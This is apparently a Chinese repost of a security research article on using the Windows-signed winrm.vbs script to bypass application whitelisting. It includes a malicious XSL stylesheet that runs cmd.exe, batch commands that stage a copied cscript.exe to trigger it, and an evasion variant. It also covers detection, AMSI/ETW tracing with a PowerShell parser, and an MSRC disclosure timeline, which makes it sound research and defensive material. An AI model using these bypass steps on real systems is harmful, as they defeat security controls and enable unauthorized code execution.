您好,登錄后才能下訂單哦!
這篇文章主要為大家展示了“如何利用Winrm.vbs繞過白名單限制執行任意代碼”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“如何利用Winrm.vbs繞過白名單限制執行任意代碼”這篇文章吧。
僅供參考學習。
winrm.vbs(一個位于system32目錄下的具有Windows簽名的腳本文件)可以被用來調用用戶定義的XSL文件,從而導致任意的、沒有簽名的代碼執行。當用戶向winrm.vbs提供'-format:pretty'或者'-format:text'參數時,winrm.vbs將從cscript.exe所在目錄讀取WsmPty.xsl或Wsmtxt.xsl文件。這意味著若將cscript.exe拷貝到攻擊者可以控制的目錄下,并將惡意的XSL文件也置于相同路徑中,攻擊者將可以繞過簽名保護而執行任意代碼。這個攻擊手段和Casey Smith的wmic.exe技術很相像。
整個工作流程如下所示:
1.在攻擊者可以控制的目錄中放置惡意的WsmPty.xsl或者WsmTxt.xsl文件。
2.拷貝cscript.exe或者wscript.exe到相同的目錄中。
3.根據第一步中的惡意XSL文件(WsmPty.xsl或者WsmTxt.xsl),執行winrm.vbs并提供不同的參數('-format:pretty'或者'-format:text')。下面是一個惡意XSL文件的例子。該文件可以被放置到上述第一步中的路徑中(對于這個例子來說,是C:\BypassDir\WsmPty.xsl):
<?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); ]]> </ms:script> </stylesheet>
一個更加有攻擊意義的XSL文件可以執行通過DotNetToJScript生成的Payload,導致攻擊者可以利用該手法執行任意不具有簽名的代碼。在放置了惡意XSL文件后,以下的批處理文件可以被用來啟動paylaod:
mkdir %SystemDrive%\BypassDir copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir %SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
我發現這個問題完全是出于偶然。我曾和Casey一起研究利用wmic.exe的XSL繞過方法,不久之后,我又開始檢查系統自帶的各種VBS和JScript文件,尋找更多的繞過方法。我之所以開始檢查這些自帶的腳本是因為Matt Nelson的.vbs注入技術給了我啟發。當我在查閱winrm.vbs源碼的時候,文件中的'WsmPty'以及'WsmTxt'馬上引起了我的注意,因為Casey曾經在他的博客中說過,對于使用了XSL的文件,它們可以通過在XSL文件中嵌入WSH腳本內容而擁有執行任意代碼的潛力。毫無疑問,winrm.vbs也不例外。我非常注重于尋找這些具備Windows簽名的,并可以導致任意代碼執行的腳本或者二進制文件。這是因為它們不僅可以繞過應用白名單的防御,同時它們也不容易被安全軟件檢查出來(至少當它們還沒有被公布的時候)。我會一直都在尋找它們的路上!
若要對上述的方法做出有效的檢測和防護,尋找這類攻擊手段所需要的最小組件集合是很重要的。
攻擊者控制的WsmPty.xsl或者WsmTxt.xsl文件一定會被創建
winrm.vbs硬編碼了這兩個文件的名字,并明確將這兩個文件同'pretty'或者'text'參數綁定到了一起。目前來看,這兩個文件只可能當前工作目錄中被獲取(多數情況下就是cscript.exe所在的目錄),而不太可能被重定向到其他位置。從防守的角度上來說,若一個WsmPty.xsl或WsmTxt.xsl文件與它們在System32目錄下的版本具有不同哈希值,則我們可以認為這個XSL文件是可疑的。幸運的是,合法的XSL文件很少會有變化。
一個具有有效簽名的winrm.vbs會被執行。若要利用本文的繞過方法,攻擊者不能修改winrm.vbs的內容
通過在命令行中尋找'winrm.vbs'字符串這種防御手段是不足的,因為攻擊者可以任意修改winrm.vbs的文件名。
調用winrm.vbs時的'format'參數必須指定為'pretty'或'text',這樣winrm.vbs才會調用對應xsl文件
攻擊者不僅僅可以采用'format'參數,下面的變種形式也是可以的(大小寫敏感):
-format:pretty
-format:"pretty"
/format:pretty
/format:"pretty"
-format:text
-format:"text"
/format:text
/format:"text"
若僅僅查找'format'字符串可以檢測到上述的所有變體,這種方法帶來的誤報會很多。'format:'后面所接內容的合法與否將取決于具體的公司環境。不過,對xsl文件的合法引用更多的來源于system32目錄下的csript.exe和winrm.vbs文件,而不會來源于其他位置。
winrm.vbs應該是被cscript.exe執行的。winrm.vbs內部的邏輯驗證了這一點。
winrm.vbs通過驗證WScript.FullName是否包含了字符串'cscript.exe'這一點來驗證其自身是被cscript.exe執行的。這個驗證本身是不夠完善的,因為它僅僅檢查可執行文件的路徑中是否包含'cscript.exe'字符串。這將導致攻擊者可以從一個被重命名過的cscript.exe啟動winrm.vbs,甚至可以用其他的腳本解釋器(例如wscript.exe)來啟動winrm.vbs。下面的批處理程序的例子解釋了如何繞過winrm.vbs腳本中對'cscript.exe'的驗證:
mkdir %SystemDrive%\BypassDir\cscript.exe copy %windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
POC例子中的get wmicimv2/Win32_Process?Handle=4僅僅是為了說明實際的命令行參數將返回一些有意義的東西。這并不意味著這個方法需要WinRM服務被啟用。有很多的選項都可以支持'format'參數。
足夠健壯的檢測手段不應該從命令行中檢測'cscript.exe'或者'wscript.exe'作為判斷依據。盡管如果攻擊者沒有刻意規避檢測,這種檢測方法可以檢測到上文所述的攻擊手段,但是攻擊者若是將script.exe拷貝并重命名,檢測手段就對此無能為力了。一個更加健壯的檢測方法應該考慮檢測二進制文件的簽名以及它的'原始文件名'。'原始文件名'這一屬性被嵌入到了二進制文件之中,并被簽名所保護,而如果攻擊者想要修改這一屬性,二進制文件的簽名將會失效。
本文提到的繞過方法可以通過啟用Windows Defender Application Control(WDAC)的User Mode Code Integrity(UMCI)選項來阻止。由于目前并沒有其他有效的方法阻止這些具有Windows簽名的腳本文件運行,具有威脅的腳本文件將通過其哈希值被禁用。不過獲取各個版本的腳本文件的哈希值會是很困難的,考慮到Windows如此龐大的版本數量。這篇博客詳細說明了為什么通過哈希值禁用文件是不高效的。至于緩解措施,微軟可以修改這個腳本文件的內容并重新進行簽名。如果這樣做的話,這將導致之前版本的腳本文件的簽名失效。所以如果我們通過WDAC啟用了腳本執行的簽名保護,這些腳本的執行將失敗。然而,這樣的場景只能阻止一個非管理員賬戶進行攻擊,因為攻擊者可以通過管理員權限安裝微軟之前版本的catalog簽名,從而恢復腳本文件的簽名信息。上述的阻止和緩解措施都依賴于WDAC的開啟。考慮到目前有大量企業并沒有開啟WDAC,就算winrm.vbs被微軟修復,也沒有什么措施可以阻止攻擊將舊版本的winrm.vbs文件放在系統中并加以利用。因此,就算微軟修復了winrm.vbs的問題,目前也沒有真正足夠健壯的方法可以防護此問題。
這不是第一次WSH/XSL被攻擊者濫用,也不會是最后一次。攻擊者應該需要了解它們的payload到底是從磁盤中的文件被執行或者是完全在內存中被執行。通過ScriptLogging技術,Powershell完全具有這種能力。然而對于WSH來說,它們卻不具備類似的能力。然而,只要你對于ETW熟悉,利用Antimalware Scan Interface(AMSI)捕獲WSH的內容是完全可能的。AMSI通過Microsoft-Antimalware-Scan-Interface
ETW Provider被暴露出來。如果你想嘗試獲取ASMI事件,KrabsETW是你可以采用的最好的庫之一。不過,若僅僅出于實驗目的,你可以通過logman.exe獲取ETL記錄。下面的例子可以開始和暫停ETL的記錄,并將ASMI相關的事件記錄到ASMITrace.etl:
logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets <After starting the trace, this is when you'd run your malicious code to capture its context.> logman stop AMSITrace -ets
盡管本文章將不會討論ETW技術,你可能還是想知道我是怎么知道'Microsoft-Antimalware-Scan-Interface'這一EWT Provider,并且上文中的'Event1'又是從何而來。我是通過logman query providers
這一命令查找已注冊providers的名稱的。'Event1'這一關鍵字對應著捕獲ASMI信息。為了找到這個關鍵字,我通過perfview.exe將ETW清單文件導出到XML。這個清單文件可以讓你很清楚地了解到通過這一provider到底可以查詢到哪些事件。
<instrumentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events"> <instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events"> <events> <provider name="Microsoft-Antimalware-Scan-Interface" guid="{2a576b87-09a7-520e-c21a-4942f0271d67}" resourceFileName="Microsoft-Antimalware-Scan-Interface" messageFileName="Microsoft-Antimalware-Scan-Interface" symbol="MicrosoftAntimalwareScanInterface" source="Xml" ><keywords> <keyword name="Event1" message="$(string.keyword_Event1)" mask="0x1"/></keywords><tasks> <task name="task_0" message="$(string.task_task_0)" value="0"/></tasks><events> <event value="1101" symbol="task_0" version="0" task="task_0" level="win:Informational" keywords="Event1" template="task_0Args"/></events><templates> <template tid="task_0Args"> <data name="session" inType="win:Pointer"/> <data name="scanStatus" inType="win:UInt8"/> <data name="scanResult" inType="win:UInt32"/> <data name="appname" inType="win:UnicodeString"/> <data name="contentname" inType="win:UnicodeString"/> <data name="contentsize" inType="win:UInt32"/> <data name="originalsize" inType="win:UInt32"/> <data name="content" inType="win:Binary" length="contentsize"/> <data name="hash" inType="win:Binary"/> <data name="contentFiltered" inType="win:Boolean"/> </template></templates> </provider> </events> </instrumentation> <localization> <resources culture="en-US"> <stringTable><string id="keyword_Event1" value="Event1"/><string id="task_task_0" value="task_0"/> </stringTable> </resources> </localization> </instrumentationManifest>
在捕獲到ETL記錄后,你就可以自己任意選擇工具來進行分析。Get-WinEvent這一powershell命令就可以很好的解析ETL記錄。我寫了一個簡單的腳本來解析ASMI事件。需要注意的是,WSH無法提供'contentname'這一屬性,導致我們不得不手動解析這一事件信息。這個腳本也會捕獲到powershell的內容。
# Script author: Matt Graeber (@mattifestation) # logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets # Do your malicious things here that would be logged by AMSI # logman stop AMSITrace -ets $OSArchProperty = Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture $OSArch = $OSArchProperty.OSArchitecture $OSPointerSize = 32 if ($OSArch -eq '64-bit') { $OSPointerSize = 64 } $AMSIScanEvents = Get-WinEvent -Path .\AMSITrace.etl -Oldest -FilterXPath '*[System[EventID=1101]]' | ForEach-Object { if (-not $_.Properties) { # The AMSI provider is not supplying the contentname property when WSH content is logged resulting # in Get-WinEvent or Event Viewer being unable to parse the data based on the schema. # If this bug were not present, retrieving WSH content would be trivial. $PayloadString = ([Xml] $_.ToXml()).Event.ProcessingErrorData.EventPayload [Byte[]] $PayloadBytes = ($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object {[Byte] "0x$_"}) $MemoryStream = New-Object -TypeName IO.MemoryStream -ArgumentList @(,$PayloadBytes) $BinaryReader = New-Object -TypeName IO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode) switch ($OSPointerSize) { 32 { $Session = $BinaryReader.ReadUInt32() } 64 { $Session = $BinaryReader.ReadUInt64() } } $ScanStatus = $BinaryReader.ReadByte() $ScanResult = $BinaryReader.ReadInt32() $StringBuilder = New-Object -TypeName Text.StringBuilder do { $CharVal = $BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) } while ($CharVal -ne 0) $AppName = $StringBuilder.ToString() $null = $StringBuilder.Clear() $ContentSize = $BinaryReader.ReadInt32() $OriginalSize = $BinaryReader.ReadInt32() $ContentRaw = $BinaryReader.ReadBytes($ContentSize) $Content = [Text.Encoding]::Unicode.GetString($ContentRaw) $Hash = [BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '') [Bool] $ContentFiltered = $BinaryReader.ReadInt32() $BinaryReader.Close() [PSCustomObject] @{ Session = $Session ScanStatus = $ScanStatus ScanResult = $ScanResult AppName = $AppName ContentName = $null Content = $Content Hash = $Hash ContentFiltered = $ContentFiltered } } else { $Session = $_.Properties[0].Value $ScanStatus = $_.Properties[1].Value $ScanResult = $_.Properties[2].Value $AppName = $_.Properties[3].Value $ContentName = $_.Properties[4].Value $Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value) $Hash = [BitConverter]::ToString($_.Properties[8].Value).Replace('-', '') $ContentFiltered = $_.Properties[9].Value [PSCustomObject] @{ Session = $Session ScanStatus = $ScanStatus ScanResult = $ScanResult AppName = $AppName ContentName = $ContentName Content = $Content Hash = $Hash ContentFiltered = $ContentFiltered } } } $AMSIScanEvents
在成功捕獲之后,你就可以看到這次執行payload的內容了。pic here利用ETW進行相關檢測并不是這篇文章的主題,不過希望這篇文章能夠讓你產生足夠的興趣,讓你之后進行深入研究。
為了避免我們披露此問題后,攻擊者利用該漏洞造成不良影響,我們一般會先向廠商報告漏洞并提供足夠多的時間讓它們修復問題。由于本文的漏洞涉及到Windows Defender Application Control,我們將這個問題提供給了Windows。整個時間線如下所示。
April 24, 2018?—?向MSRC報告此問題
April 24, 2018?—?MSRC知曉了問題并提供了一個事件編號
April 30, 2018?— 收到郵件,告訴我們該問題已被復現
May 24, 2018?—?向MSRC發送郵件,要求更新
May 28, 2018?— 回復稱評估過程仍在繼續
June 10, 2018?—?向MSRC發送郵件,要求更新
June 11, 2018?—?MSRC回復稱計劃在8月更新中修復問題
July 12, 2018?—?MSRC回復稱該問題不能通過安全更新方式解決,可能會在下一個版本更新中修復此問題。
以上是“如何利用Winrm.vbs繞過白名單限制執行任意代碼”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。